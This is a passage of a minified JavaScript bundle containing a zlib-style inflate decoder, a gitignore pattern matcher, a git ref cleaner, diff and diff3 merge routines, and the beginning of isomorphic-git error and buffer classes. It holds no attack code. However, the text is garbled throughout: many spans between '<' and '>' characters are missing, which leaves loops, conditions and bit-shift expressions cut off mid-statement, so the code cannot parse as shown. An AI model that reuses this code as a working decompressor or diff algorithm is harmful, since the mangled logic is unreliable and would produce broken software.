r,i,s,o,a,l,c,u,f,h,d,p,g,y,w,b,S,D,k,E,v,_,C,A,P;r=e.state,i=e.next_in,A=e.input,s=i+(e.avail_in-5),o=e.next_out,P=e.output,a=o-(n-e.avail_out),l=o+(e.avail_out-257),c=r.dmax,u=r.wsize,f=r.whave,h=r.wnext,d=r.window,p=r.hold,g=r.bits,y=r.lencode,w=r.distcode,b=(1<>>24,p>>>=k,g-=k,k=D>>>16&255,k===0)P[o++]=D&65535;else if(k&16){E=D&65535,k&=15,k&&(g>>=k,g-=k),g<15&&(p+=A[i++]<>>24,p>>>=k,g-=k,k=D>>>16&255,k&16){if(v=D&65535,k&=15,gc){e.msg="invalid distance too far back",r.mode=dp;break e}if(p>>>=k,g-=k,k=o-a,v>k){if(k=v-k,k>f&&r.sane){e.msg="invalid distance too far back",r.mode=dp;break e}if(_=0,C=d,h===0){if(_+=u-k,k2;)P[o++]=C[_++],P[o++]=C[_++],P[o++]=C[_++],E-=3;E&&(P[o++]=C[_++],E>1&&(P[o++]=C[_++]))}else{_=o-v;do P[o++]=P[_++],P[o++]=P[_++],P[o++]=P[_++],E-=3;while(E>2);E&&(P[o++]=P[_++],E>1&&(P[o++]=P[_++]))}}else if((k&64)===0){D=w[(D&65535)+(p&(1<>3,i-=E,g-=E<<3,p&=(1<{"use strict";m();var c2=is(),sc=15,u2=852,f2=592,h2=0,cv=1,d2=2,SH=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,0,0],DH=[16,16,16,16,16,16,16,16,17,17,17,17,18,18,18,18,19,19,19,19,20,20,20,20,21,21,21,21,16,72,78],EH=[1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577,0,0],_H=[16,16,16,16,17,17,18,18,19,19,20,20,21,21,22,22,23,23,24,24,25,25,26,26,27,27,28,28,29,29,64,64];m2.exports=function(e,n,r,i,s,o,a,l){var c=l.bits,u=0,f=0,h=0,d=0,p=0,g=0,y=0,w=0,b=0,S=0,D,k,E,v,_,C=null,A=0,P,N=new c2.Buf16(sc+1),B=new c2.Buf16(sc+1),L=null,G=0,U,he,Te;for(u=0;u<=sc;u++)N[u]=0;for(f=0;f=1&&N[d]===0;d--);if(p>d&&(p=d),d===0)return s[o++]=1<<24|64<<16|0,s[o++]=1<<24|64<<16|0,l.bits=1,0;for(h=1;h0&&(e===h2||d!==1))return-1;for(B[1]=0,u=1;uu2||e===d2&&b>f2)return 1;for(;;){U=u-y,a[f]P?(he=L[G+a[f]],Te=C[A+a[f]]):(he=96,Te=0),D=1<>y)+k]=U<<24|he<<16|Te|0;while(k!==0);for(D=1<>=1;if(D!==0?(S&=D-1,S+=D):S=0,f++,--N[u]===0){if(u===d)break;u=n[r+a[f]]}if(u>p&&(S&v)!==E){for(y===0&&(y=p),_+=h,g=u-y,w=1<u2||e===d2&&b>f2)return 1;E=S&v,s[E]=p<<24|g<<16|_-o|0}}return S!==0&&(s[_+S]=u-y<<24|64<<16|0),l.bits=p,0}});var Z2=W(ri=>{"use strict";m();var or=is(),pv=Yb(),Fi=Jb(),CH=l2(),Nf=p2(),TH=0,U2=1,j2=2,g2=4,FH=5,mp=6,ga=0,IH=1,AH=2,Or=-2,q2=-3,gv=-4,OH=-5,y2=8,V2=1,w2=2,b2=3,v2=4,k2=5,x2=6,S2=7,D2=8,E2=9,_2=10,yp=11,as=12,uv=13,C2=14,fv=15,T2=16,F2=17,I2=18,A2=19,pp=20,gp=21,O2=22,P2=23,N2=24,M2=25,R2=26,hv=27,z2=28,L2=29,ut=30,yv=31,PH=32,NH=852,MH=592,RH=15,zH=RH;function B2(t){return(t>>>24&255)+(t>>>8&65280)+((t&65280)<<8)+((t&255)<<24)}function LH(){this.mode=0,this.last=!1,this.wrap=0,this.havedict=!1,this.flags=0,this.dmax=0,this.check=0,this.total=0,this.head=null,this.wbits=0,this.wsize=0,this.whave=0,this.wnext=0,this.window=null,this.hold=0,this.bits=0,this.length=0,this.offset=0,this.extra=0,this.lencode=null,this.distcode=null,this.lenbits=0,this.distbits=0,this.ncode=0,this.nlen=0,this.ndist=0,this.have=0,this.next=null,this.lens=new or.Buf16(320),this.work=new or.Buf16(288),this.lendyn=null,this.distdyn=null,this.sane=0,this.back=0,this.was=0}function H2(t){var e;return!t||!t.state?Or:(e=t.state,t.total_in=t.total_out=e.total=0,t.msg="",e.wrap&&(t.adler=e.wrap&1),e.mode=V2,e.last=0,e.havedict=0,e.dmax=32768,e.head=null,e.hold=0,e.bits=0,e.lencode=e.lendyn=new or.Buf32(NH),e.distcode=e.distdyn=new or.Buf32(MH),e.sane=1,e.back=-1,ga)}function W2(t){var e;return!t||!t.state?Or:(e=t.state,e.wsize=0,e.whave=0,e.wnext=0,H2(t))}function G2(t,e){var n,r;return!t||!t.state||(r=t.state,e<0?(n=0,e=-e):(n=(e>>4)+1,e<48&&(e&=15)),e&&(e<8||e>15))?Or:(r.window!==null&&r.wbits!==e&&(r.window=null),r.wrap=n,r.wbits=e,W2(t))}function Q2(t,e){var n,r;return t?(r=new LH,t.state=r,r.window=null,n=G2(t,e),n!==ga&&(t.state=null),n):Or}function BH(t){return Q2(t,zH)}var $2=!0,dv,mv;function $H(t){if($2){var e;for(dv=new or.Buf32(512),mv=new or.Buf32(32),e=0;e<144;)t.lens[e++]=8;for(;e<256;)t.lens[e++]=9;for(;e<280;)t.lens[e++]=7;for(;e<288;)t.lens[e++]=8;for(Nf(U2,t.lens,0,288,dv,0,t.work,{bits:9}),e=0;e<32;)t.lens[e++]=5;Nf(j2,t.lens,0,32,mv,0,t.work,{bits:5}),$2=!1}t.lencode=dv,t.lenbits=9,t.distcode=mv,t.distbits=5}function K2(t,e,n,r){var i,s=t.state;return s.window===null&&(s.wsize=1<=s.wsize?(or.arraySet(s.window,e,n-s.wsize,s.wsize,0),s.wnext=0,s.whave=s.wsize):(i=s.wsize-s.wnext,i>r&&(i=r),or.arraySet(s.window,e,n-r,i,s.wnext),r-=i,r?(or.arraySet(s.window,e,n-r,r,0),s.wnext=r,s.whave=s.wsize):(s.wnext+=i,s.wnext===s.wsize&&(s.wnext=0),s.whave>>8&255,n.check=Fi(n.check,C,2,0),c=0,u=0,n.mode=w2;break}if(n.flags=0,n.head&&(n.head.done=!1),!(n.wrap&1)||(((c&255)<<8)+(c>>8))%31){t.msg="incorrect header check",n.mode=ut;break}if((c&15)!==y2){t.msg="unknown compression method",n.mode=ut;break}if(c>>>=4,u-=4,v=(c&15)+8,n.wbits===0)n.wbits=v;else if(v>n.wbits){t.msg="invalid window size",n.mode=ut;break}n.dmax=1<>8&1),n.flags&512&&(C[0]=c&255,C[1]=c>>>8&255,n.check=Fi(n.check,C,2,0)),c=0,u=0,n.mode=b2;case b2:for(;u<32;){if(a===0)break e;a--,c+=r[s++]<>>8&255,C[2]=c>>>16&255,C[3]=c>>>24&255,n.check=Fi(n.check,C,4,0)),c=0,u=0,n.mode=v2;case v2:for(;u<16;){if(a===0)break e;a--,c+=r[s++]<>8),n.flags&512&&(C[0]=c&255,C[1]=c>>>8&255,n.check=Fi(n.check,C,2,0)),c=0,u=0,n.mode=k2;case k2:if(n.flags&1024){for(;u<16;){if(a===0)break e;a--,c+=r[s++]<>>8&255,n.check=Fi(n.check,C,2,0)),c=0,u=0}else n.head&&(n.head.extra=null);n.mode=x2;case x2:if(n.flags&1024&&(d=n.length,d>a&&(d=a),d&&(n.head&&(v=n.head.extra_len-n.length,n.head.extra||(n.head.extra=new Array(n.head.extra_len)),or.arraySet(n.head.extra,r,s,d,v)),n.flags&512&&(n.check=Fi(n.check,r,d,s)),a-=d,s+=d,n.length-=d),n.length))break e;n.length=0,n.mode=S2;case S2:if(n.flags&2048){if(a===0)break e;d=0;do v=r[s+d++],n.head&&v&&n.length<65536&&(n.head.name+=String.fromCharCode(v));while(v&&d>9&1,n.head.done=!0),t.adler=n.check=0,n.mode=as;break;case _2:for(;u<32;){if(a===0)break e;a--,c+=r[s++]<>>=u&7,u-=u&7,n.mode=hv;break}for(;u<3;){if(a===0)break e;a--,c+=r[s++]<>>=1,u-=1,c&3){case 0:n.mode=C2;break;case 1:if($H(n),n.mode=pp,e===mp){c>>>=2,u-=2;break e}break;case 2:n.mode=F2;break;case 3:t.msg="invalid block type",n.mode=ut}c>>>=2,u-=2;break;case C2:for(c>>>=u&7,u-=u&7;u<32;){if(a===0)break e;a--,c+=r[s++]<>>16^65535)){t.msg="invalid stored block lengths",n.mode=ut;break}if(n.length=c&65535,c=0,u=0,n.mode=fv,e===mp)break e;case fv:n.mode=T2;case T2:if(d=n.length,d){if(d>a&&(d=a),d>l&&(d=l),d===0)break e;or.arraySet(i,r,s,d,o),a-=d,s+=d,l-=d,o+=d,n.length-=d;break}n.mode=as;break;case F2:for(;u<14;){if(a===0)break e;a--,c+=r[s++]<>>=5,u-=5,n.ndist=(c&31)+1,c>>>=5,u-=5,n.ncode=(c&15)+4,c>>>=4,u-=4,n.nlen>286||n.ndist>30){t.msg="too many length or distance symbols",n.mode=ut;break}n.have=0,n.mode=I2;case I2:for(;n.have>>=3,u-=3}for(;n.have<19;)n.lens[N[n.have++]]=0;if(n.lencode=n.lendyn,n.lenbits=7,A={bits:n.lenbits},_=Nf(TH,n.lens,0,19,n.lencode,0,n.work,A),n.lenbits=A.bits,_){t.msg="invalid code lengths set",n.mode=ut;break}n.have=0,n.mode=A2;case A2:for(;n.have>>24,b=y>>>16&255,S=y&65535,!(w<=u);){if(a===0)break e;a--,c+=r[s++]<>>=w,u-=w,n.lens[n.have++]=S;else{if(S===16){for(P=w+2;u>>=w,u-=w,n.have===0){t.msg="invalid bit length repeat",n.mode=ut;break}v=n.lens[n.have-1],d=3+(c&3),c>>>=2,u-=2}else if(S===17){for(P=w+3;u>>=w,u-=w,v=0,d=3+(c&7),c>>>=3,u-=3}else{for(P=w+7;u>>=w,u-=w,v=0,d=11+(c&127),c>>>=7,u-=7}if(n.have+d>n.nlen+n.ndist){t.msg="invalid bit length repeat",n.mode=ut;break}for(;d--;)n.lens[n.have++]=v}}if(n.mode===ut)break;if(n.lens[256]===0){t.msg="invalid code -- missing end-of-block",n.mode=ut;break}if(n.lenbits=9,A={bits:n.lenbits},_=Nf(U2,n.lens,0,n.nlen,n.lencode,0,n.work,A),n.lenbits=A.bits,_){t.msg="invalid literal/lengths set",n.mode=ut;break}if(n.distbits=6,n.distcode=n.distdyn,A={bits:n.distbits},_=Nf(j2,n.lens,n.nlen,n.ndist,n.distcode,0,n.work,A),n.distbits=A.bits,_){t.msg="invalid distances set",n.mode=ut;break}if(n.mode=pp,e===mp)break e;case pp:n.mode=gp;case gp:if(a>=6&&l>=258){t.next_out=o,t.avail_out=l,t.next_in=s,t.avail_in=a,n.hold=c,n.bits=u,CH(t,h),o=t.next_out,i=t.output,l=t.avail_out,s=t.next_in,r=t.input,a=t.avail_in,c=n.hold,u=n.bits,n.mode===as&&(n.back=-1);break}for(n.back=0;y=n.lencode[c&(1<>>24,b=y>>>16&255,S=y&65535,!(w<=u);){if(a===0)break e;a--,c+=r[s++]<>D)],w=y>>>24,b=y>>>16&255,S=y&65535,!(D+w<=u);){if(a===0)break e;a--,c+=r[s++]<>>=D,u-=D,n.back+=D}if(c>>>=w,u-=w,n.back+=w,n.length=S,b===0){n.mode=R2;break}if(b&32){n.back=-1,n.mode=as;break}if(b&64){t.msg="invalid literal/length code",n.mode=ut;break}n.extra=b&15,n.mode=O2;case O2:if(n.extra){for(P=n.extra;u>>=n.extra,u-=n.extra,n.back+=n.extra}n.was=n.length,n.mode=P2;case P2:for(;y=n.distcode[c&(1<>>24,b=y>>>16&255,S=y&65535,!(w<=u);){if(a===0)break e;a--,c+=r[s++]<>D)],w=y>>>24,b=y>>>16&255,S=y&65535,!(D+w<=u);){if(a===0)break e;a--,c+=r[s++]<>>=D,u-=D,n.back+=D}if(c>>>=w,u-=w,n.back+=w,b&64){t.msg="invalid distance code",n.mode=ut;break}n.offset=S,n.extra=b&15,n.mode=N2;case N2:if(n.extra){for(P=n.extra;u>>=n.extra,u-=n.extra,n.back+=n.extra}if(n.offset>n.dmax){t.msg="invalid distance too far back",n.mode=ut;break}n.mode=M2;case M2:if(l===0)break e;if(d=h-l,n.offset>d){if(d=n.offset-d,d>n.whave&&n.sane){t.msg="invalid distance too far back",n.mode=ut;break}d>n.wnext?(d-=n.wnext,p=n.wsize-d):p=n.wnext-d,d>n.length&&(d=n.length),g=n.window}else g=i,p=o-n.offset,d=n.length;d>l&&(d=l),l-=d,n.length-=d;do i[o++]=g[p++];while(--d);n.length===0&&(n.mode=gp);break;case R2:if(l===0)break e;i[o++]=n.length,l--,n.mode=gp;break;case hv:if(n.wrap){for(;u<32;){if(a===0)break e;a--,c|=r[s++]<{"use strict";m();Y2.exports={Z_NO_FLUSH:0,Z_PARTIAL_FLUSH:1,Z_SYNC_FLUSH:2,Z_FULL_FLUSH:3,Z_FINISH:4,Z_BLOCK:5,Z_TREES:6,Z_OK:0,Z_STREAM_END:1,Z_NEED_DICT:2,Z_ERRNO:-1,Z_STREAM_ERROR:-2,Z_DATA_ERROR:-3,Z_BUF_ERROR:-5,Z_NO_COMPRESSION:0,Z_BEST_SPEED:1,Z_BEST_COMPRESSION:9,Z_DEFAULT_COMPRESSION:-1,Z_FILTERED:1,Z_HUFFMAN_ONLY:2,Z_RLE:3,Z_FIXED:4,Z_DEFAULT_STRATEGY:0,Z_BINARY:0,Z_TEXT:1,Z_UNKNOWN:2,Z_DEFLATED:8}});var X2=W((Ome,J2)=>{"use strict";m();function HH(){this.text=0,this.time=0,this.xflags=0,this.os=0,this.extra=null,this.extra_len=0,this.name="",this.comment="",this.hcrc=0,this.done=!1}J2.exports=HH});var tA=W(Rf=>{"use strict";m();var oc=Z2(),Mf=is(),wp=rv(),Ct=wv(),bv=sp(),WH=iv(),GH=X2(),eA=Object.prototype.toString;function ya(t){if(!(this instanceof ya))return new ya(t);this.options=Mf.assign({chunkSize:16384,windowBits:0,to:""},t||{});var e=this.options;e.raw&&e.windowBits>=0&&e.windowBits<16&&(e.windowBits=-e.windowBits,e.windowBits===0&&(e.windowBits=-15)),e.windowBits>=0&&e.windowBits<16&&!(t&&t.windowBits)&&(e.windowBits+=32),e.windowBits>15&&e.windowBits<48&&(e.windowBits&15)===0&&(e.windowBits|=15),this.err=0,this.msg="",this.ended=!1,this.chunks=[],this.strm=new WH,this.strm.avail_out=0;var n=oc.inflateInit2(this.strm,e.windowBits);if(n!==Ct.Z_OK)throw new Error(bv[n]);if(this.header=new GH,oc.inflateGetHeader(this.strm,this.header),e.dictionary&&(typeof e.dictionary=="string"?e.dictionary=wp.string2buf(e.dictionary):eA.call(e.dictionary)==="[object ArrayBuffer]"&&(e.dictionary=new Uint8Array(e.dictionary)),e.raw&&(n=oc.inflateSetDictionary(this.strm,e.dictionary),n!==Ct.Z_OK)))throw new Error(bv[n])}ya.prototype.push=function(t,e){var n=this.strm,r=this.options.chunkSize,i=this.options.dictionary,s,o,a,l,c,u=!1;if(this.ended)return!1;o=e===~~e?e:e===!0?Ct.Z_FINISH:Ct.Z_NO_FLUSH,typeof t=="string"?n.input=wp.binstring2buf(t):eA.call(t)==="[object ArrayBuffer]"?n.input=new Uint8Array(t):n.input=t,n.next_in=0,n.avail_in=n.input.length;do{if(n.avail_out===0&&(n.output=new Mf.Buf8(r),n.next_out=0,n.avail_out=r),s=oc.inflate(n,Ct.Z_NO_FLUSH),s===Ct.Z_NEED_DICT&&i&&(s=oc.inflateSetDictionary(this.strm,i)),s===Ct.Z_BUF_ERROR&&u===!0&&(s=Ct.Z_OK,u=!1),s!==Ct.Z_STREAM_END&&s!==Ct.Z_OK)return this.onEnd(s),this.ended=!0,!1;n.next_out&&(n.avail_out===0||s===Ct.Z_STREAM_END||n.avail_in===0&&(o===Ct.Z_FINISH||o===Ct.Z_SYNC_FLUSH))&&(this.options.to==="string"?(a=wp.utf8border(n.output,n.next_out),l=n.next_out-a,c=wp.buf2string(n.output,a),n.next_out=l,n.avail_out=r-l,l&&Mf.arraySet(n.output,n.output,a,l,0),this.onData(c)):this.onData(Mf.shrinkBuf(n.output,n.next_out))),n.avail_in===0&&n.avail_out===0&&(u=!0)}while((n.avail_in>0||n.avail_out===0)&&s!==Ct.Z_STREAM_END);return s===Ct.Z_STREAM_END&&(o=Ct.Z_FINISH),o===Ct.Z_FINISH?(s=oc.inflateEnd(this.strm),this.onEnd(s),this.ended=!0,s===Ct.Z_OK):(o===Ct.Z_SYNC_FLUSH&&(this.onEnd(Ct.Z_OK),n.avail_out=0),!0)};ya.prototype.onData=function(t){this.chunks.push(t)};ya.prototype.onEnd=function(t){t===Ct.Z_OK&&(this.options.to==="string"?this.result=this.chunks.join(""):this.result=Mf.flattenChunks(this.chunks)),this.chunks=[],this.err=t,this.msg=this.strm.msg};function vv(t,e){var n=new ya(e);if(n.push(t,!0),n.err)throw n.msg||bv[n.err];return n.result}function QH(t,e){return e=e||{},e.raw=!0,vv(t,e)}Rf.Inflate=ya;Rf.inflate=vv;Rf.inflateRaw=QH;Rf.ungzip=vv});var iA=W((Rme,rA)=>{"use strict";m();var KH=is().assign,ZH=o2(),YH=tA(),JH=wv(),nA={};KH(nA,ZH,YH,JH);rA.exports=nA});var aA=W((Lme,oA)=>{"use strict";m();var sA=(t,e)=>function(...n){let r=e.promiseModule;return new r((i,s)=>{e.multiArgs?n.push((...o)=>{e.errorFirst?o[0]?s(o):(o.shift(),i(o)):i(o)}):e.errorFirst?n.push((o,a)=>{o?s(o):i(a)}):n.push(i),t.apply(this,n)})};oA.exports=(t,e)=>{e=Object.assign({exclude:[/.+(Sync|Stream)$/],errorFirst:!0,promiseModule:Promise},e);let n=typeof t;if(!(t!==null&&(n==="object"||n==="function")))throw new TypeError(`Expected \`input\` to be a \`Function\` or \`Object\`, got \`${t===null?"null":n}\``);let r=s=>{let o=a=>typeof a=="string"?s===a:a.test(s);return e.include?e.include.some(o):!e.exclude.some(o)},i;n==="function"?i=function(...s){return e.excludeMain?t(...s):sA(t,e).apply(this,s)}:i=Object.create(Object.getPrototypeOf(t));for(let s in t){let o=t[s];i[s]=typeof o=="function"&&r(s)?sA(o,e):o}return i}});var gA=W(($me,pA)=>{m();function lA(t){return Array.isArray(t)?t:[t]}var Sv="",cA=" ",kv="\\",XH=/^\s+$/,eW=/(?:[^\\]|^)\\$/,tW=/^\\!/,nW=/^\\#/,rW=/\r?\n/g,iW=/^\.*\/|^\.+$/,xv="/",hA="node-ignore";typeof Symbol<"u"&&(hA=Symbol.for("node-ignore"));var uA=hA,sW=(t,e,n)=>Object.defineProperty(t,e,{value:n}),oW=/([0-z])-([0-z])/g,dA=()=>!1,aW=t=>t.replace(oW,(e,n,r)=>n.charCodeAt(0)<=r.charCodeAt(0)?e:Sv),lW=t=>{let{length:e}=t;return t.slice(0,e-e%2)},cW=[[/^\uFEFF/,()=>Sv],[/((?:\\\\)*?)(\\?\s+)$/,(t,e,n)=>e+(n.indexOf("\\")===0?cA:Sv)],[/(\\+?)\s/g,(t,e)=>{let{length:n}=e;return e.slice(0,n-n%2)+cA}],[/[\\$.|*+(){^]/g,t=>`\\${t}`],[/(?!\\)\?/g,()=>"[^/]"],[/^\//,()=>"^"],[/\//g,()=>"\\/"],[/^\^*\\\*\\\*\\\//,()=>"^(?:.*\\/)?"],[/^(?=[^^])/,function(){return/\/(?!$)/.test(this)?"^":"(?:^|\\/)"}],[/\\\/\\\*\\\*(?=\\\/|$)/g,(t,e,n)=>e+6{let r=n.replace(/\\\*/g,"[^\\/]*");return e+r}],[/\\\\\\(?=[$.|*+(){^])/g,()=>kv],[/\\\\/g,()=>kv],[/(\\)?\[([^\]/]*?)(\\*)($|\])/g,(t,e,n,r,i)=>e===kv?`\\[${n}${lW(r)}${i}`:i==="]"&&r.length%2===0?`[${aW(n)}${r}]`:"[]"],[/(?:[^*])$/,t=>/\/$/.test(t)?`${t}$`:`${t}(?=$|\\/$)`],[/(\^|\\\/)?\\\*$/,(t,e)=>`${e?`${e}[^/]+`:"[^/]*"}(?=$|\\/$)`]],fA=Object.create(null),uW=(t,e)=>{let n=fA[t];return n||(n=cW.reduce((r,[i,s])=>r.replace(i,s.bind(t)),t),fA[t]=n),e?new RegExp(n,"i"):new RegExp(n)},_v=t=>typeof t=="string",fW=t=>t&&_v(t)&&!XH.test(t)&&!eW.test(t)&&t.indexOf("#")!==0,hW=t=>t.split(rW),Dv=class{constructor(e,n,r,i){this.origin=e,this.pattern=n,this.negative=r,this.regex=i}},dW=(t,e)=>{let n=t,r=!1;t.indexOf("!")===0&&(r=!0,t=t.substr(1)),t=t.replace(tW,"!").replace(nW,"#");let i=uW(t,e);return new Dv(n,t,r,i)},mW=(t,e)=>{throw new e(t)},ls=(t,e,n)=>_v(t)?t?ls.isNotRelative(t)?n(`path should be a \`path.relative()\`d string, but got "${e}"`,RangeError):!0:n("path must not be empty",TypeError):n(`path must be a string, but got \`${e}\``,TypeError),mA=t=>iW.test(t);ls.isNotRelative=mA;ls.convert=t=>t;var Ev=class{constructor({ignorecase:e=!0,ignoreCase:n=e,allowRelativePaths:r=!1}={}){sW(this,uA,!0),this._rules=[],this._ignoreCase=n,this._allowRelativePaths=r,this._initCache()}_initCache(){this._ignoreCache=Object.create(null),this._testCache=Object.create(null)}_addPattern(e){if(e&&e[uA]){this._rules=this._rules.concat(e._rules),this._added=!0;return}if(fW(e)){let n=dW(e,this._ignoreCase);this._added=!0,this._rules.push(n)}}add(e){return this._added=!1,lA(_v(e)?hW(e):e).forEach(this._addPattern,this),this._added&&this._initCache(),this}addPattern(e){return this.add(e)}_testOne(e,n){let r=!1,i=!1;return this._rules.forEach(s=>{let{negative:o}=s;if(i===o&&r!==i||o&&!r&&!i&&!n)return;s.regex.test(e)&&(r=!o,i=o)}),{ignored:r,unignored:i}}_test(e,n,r,i){let s=e&&ls.convert(e);return ls(s,e,this._allowRelativePaths?dA:mW),this._t(s,n,r,i)}_t(e,n,r,i){if(e in n)return n[e];if(i||(i=e.split(xv)),i.pop(),!i.length)return n[e]=this._testOne(e,r);let s=this._t(i.join(xv)+xv,n,r,i);return n[e]=s.ignored?s:this._testOne(e,r)}ignores(e){return this._test(e,this._ignoreCache,!1).ignored}createFilter(){return e=>!this.ignores(e)}filter(e){return lA(e).filter(this.createFilter())}test(e){return this._test(e,this._testCache,!0)}},bp=t=>new Ev(t),pW=t=>ls(t&&ls.convert(t),t,dA);bp.isPathValid=pW;bp.default=bp;pA.exports=bp;if(typeof process<"u"&&(process.env&&process.env.IGNORE_TEST_WIN32||process.platform==="win32")){let t=n=>/^\\\\\?\\/.test(n)||/["<>|\u0000-\u001F]+/u.test(n)?n:n.replace(/\\/g,"/");ls.convert=t;let e=/^[a-z]:\//i;ls.isNotRelative=n=>e.test(n)||mA(n)}});var wA=W((jme,yA)=>{"use strict";m();function gW(t){return t.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function Ii(t,e,n){return e=e instanceof RegExp?e:new RegExp(gW(e),"g"),t.replace(e,n)}var yW={clean:function(e){if(typeof e!="string")throw new Error("Expected a string, received: "+e);return e=Ii(e,"./","/"),e=Ii(e,"..","."),e=Ii(e," ","-"),e=Ii(e,/^[~^:?*\\\-]/g,""),e=Ii(e,/[~^:?*\\]/g,"-"),e=Ii(e,/[~^:?*\\\-]$/g,""),e=Ii(e,"@{","-"),e=Ii(e,/\.$/g,""),e=Ii(e,/\/$/g,""),e=Ii(e,/\.lock$/g,""),e}};yA.exports=yW});var vA=W((Vme,bA)=>{m();bA.exports=function(t,e){var n=t,r=e,i=n.length,s=r.length,o=!1,a=null,l=i+1,c=[],u=[],f=[],h="",d=-1,p=0,g=1,y,w,b=function(){i>=s&&(y=n,w=i,n=r,r=y,i=s,s=w,o=!0,l=i+1)},S=function(v,_,C){return{x:v,y:_,k:C}},D=function(v,_){return{elem:v,t:_}},k=function(v,_,C){var A,P,N;for(_>C?A=c[v-1+l]:A=c[v+1+l],N=Math.max(_,C),P=N-v;P=0;--N)for(;AP-A?(o?f[f.length]=new D(r[P],d):f[f.length]=new D(r[P],g),++C,++P):v[N].y-v[N].x=v+1;--L)C[L+l]=k(L,C[L-1+l]+1,C[L+1+l]);C[v+l]=k(v,C[v-1+l]+1,C[v+1+l])}while(C[v+l]!==s);for(a=v+2*A,P=c[v+l],N=[];P!==-1;)N[N.length]=new S(u[P].x,u[P].y,null),P=u[P].k;E(N)}}}});var SA=W((Wme,xA)=>{m();var wW=vA();function bW(t,e){var n=new wW(t,e);n.compose();for(var r=n.getses(),i,s,o=t.length-1,a=e.length-1,l=r.length-1;l>=0;--l)r[l].t===n.SES_COMMON?(s?(s.chain={file1index:o,file2index:a,chain:null},s=s.chain):(i={file1index:o,file2index:a,chain:null},s=i),o--,a--):r[l].t===n.SES_DELETE?o--:r[l].t===n.SES_ADD&&a--;var c={file1index:-1,file2index:-1,chain:null};return s?(s.chain=c,i):c}function kA(t,e){for(var n=[],r=t.length,i=e.length,s=bW(t,e);s!==null;s=s.chain){var o=r-s.file1index-1,a=i-s.file2index-1;r=s.file1index,i=s.file2index,(o||a)&&n.push({file1:[r+1,o],file2:[i+1,a]})}return n.reverse(),n}function vW(t,e,n){var r,i=kA(e,t),s=kA(e,n),o=[];function a(B,L){o.push([B.file1[0],L,B.file1[1],B.file2[0],B.file2[1]])}for(r=0;rc&&(l.push([1,c,B-c]),c=B)}for(var f=0;fg)break;g=Math.max(g,w+y[2]),f++}if(u(p),h==f)d[4]>0&&l.push([d[1],d[3],d[4]]);else{var b={0:[t.length,-1,e.length,-1],2:[n.length,-1,e.length,-1]};for(r=h;r<=f;r++){d=o[r];var S=d[1],D=b[S],k=d[0],E=k+d[2],v=d[3],_=v+d[4];D[0]=Math.min(v,D[0]),D[1]=Math.max(_,D[1]),D[2]=Math.min(k,D[2]),D[3]=Math.max(E,D[3])}var C=b[0][0]+(p-b[0][2]),A=b[0][1]+(g-b[0][3]),P=b[2][0]+(p-b[2][2]),N=b[2][1]+(g-b[2][3]);l.push([-1,C,A-C,p,g-p,P,N-P])}c=g}return u(e.length),l}function kW(t,e,n){var r=[],i=[t,e,n],s=vW(t,e,n),o=[];function a(){o.length&&r.push({ok:o}),o=[]}function l(d){for(var p=0;p{"use strict";m();Object.defineProperty(oe,"__esModule",{value:!0});function ro(t){return t&&typeof t=="object"&&"default"in t?t.default:t}var Lf=ro(JC()),WA=ro(pI()),xW=ro(yI()),Yv=ro(iA()),vp=ro(aA()),SW=ro(gA()),Bf=ro(wA()),DW=ro(SA()),je=class t extends Error{constructor(e){super(e),this.caller=""}toJSON(){return{code:this.code,data:this.data,caller:this.caller,message:this.message,stack:this.stack}}fromJSON(e){let n=new t(e.message);return n.code=e.code,n.data=e.data,n.caller=e.caller,n.stack=e.stack,n}get isIsomorphicGitError(){return!0}},$f=class t extends je{constructor(e){super(`Modifying the index is not possible because you have unmerged files: ${e.toString}. Fix them up in the work tree, and then use 'git add/rm as appropriate to mark resolution and make a commit.`),this.code=this.name=t.code,this.data={filepaths:e}}};$f.code="UnmergedPathsError";var Ce=class t extends je{constructor(e){super(`An internal error caused this command to fail. - -If you're not a developer, report the bug to the developers of the application you're using. If this is a bug in isomorphic-git then you should create a proper bug yourselves. The bug should include a minimal reproduction and details about the version and environment. - -Please file a bug report at https://github.com/isomorphic-git/isomorphic-git/issues with this error message: ${e}`),this.code=this.name=t.code,this.data={message:e}}};Ce.code="InternalError";var lc=class t extends je{constructor(e){super(`The filepath "${e}" contains unsafe character sequences`),this.code=this.name=t.code,this.data={filepath:e}}};lc.code="UnsafeFilepathError";var Pr=class{constructor(e){this.buffer=e,this._start=0}eof(){return this._start>=this.buffer.length}tell(){return this._start}seek(e){this._start=e}slice(e){let n=this.buffer.slice(this._start,this._start+e);return this._start+=e,n}toString(e,n){let r=this.buffer.toString(e,this._start,this._start+n);return this._start+=n,r}write(e,n,r){let i=this.buffer.write(e,this._start,n,r);return this._start+=n,i}copy(e,n,r){let i=e.copy(this.buffer,this._start,n,r);return this._start+=i,i}readUInt8(){let e=this.buffer.readUInt8(this._start);return this._start+=1,e}writeUInt8(e){let n=this.buffer.writeUInt8(e,this._start);return this._start+=1,n}readUInt16BE(){let e=this.buffer.readUInt16BE(this._start);return this._start+=2,e}writeUInt16BE(e){let n=this.buffer.writeUInt16BE(e,this._start);return this._start+=2,n}readUInt32BE(){let e=this.buffer.readUInt32BE(this._start);return this._start+=4,e}writeUInt32BE(e){let n=this.buffer.writeUInt32BE(e,this._start);return this._start+=4,n}};function Pp(t,e){return-(te)}function GA(t,e){return Pp(t.path,e.path)}function QA(t){let e=t>0?t>>12:0;e!==4&&e!==8&&e!==10&&e!==14&&(e=8);let n=t&511;return n&73?n=493:n=420,e!==8&&(n=0),(e<<12)+n}var Ai=2**32;function DA(t,e,n,r){if(t!==void 0&&e!==void 0)return[t,e];n===void 0&&(n=r.valueOf());let i=Math.floor(n/1e3),s=(n-i*1e3)*1e6;return[i,s]}function cc(t){let[e,n]=DA(t.ctimeSeconds,t.ctimeNanoseconds,t.ctimeMs,t.ctime),[r,i]=DA(t.mtimeSeconds,t.mtimeNanoseconds,t.mtimeMs,t.mtime);return{ctimeSeconds:e%Ai,ctimeNanoseconds:n%Ai,mtimeSeconds:r%Ai,mtimeNanoseconds:i%Ai,dev:t.dev%Ai,ino:t.ino%Ai,mode:QA(t.mode%Ai),uid:t.uid%Ai,gid:t.gid%Ai,size:t.size>-1?t.size%Ai:0}}function EW(t){let e="";for(let n of new Uint8Array(t))n<16&&(e+="0"),e+=n.toString(16);return e}var Cv=null;async function us(t){return 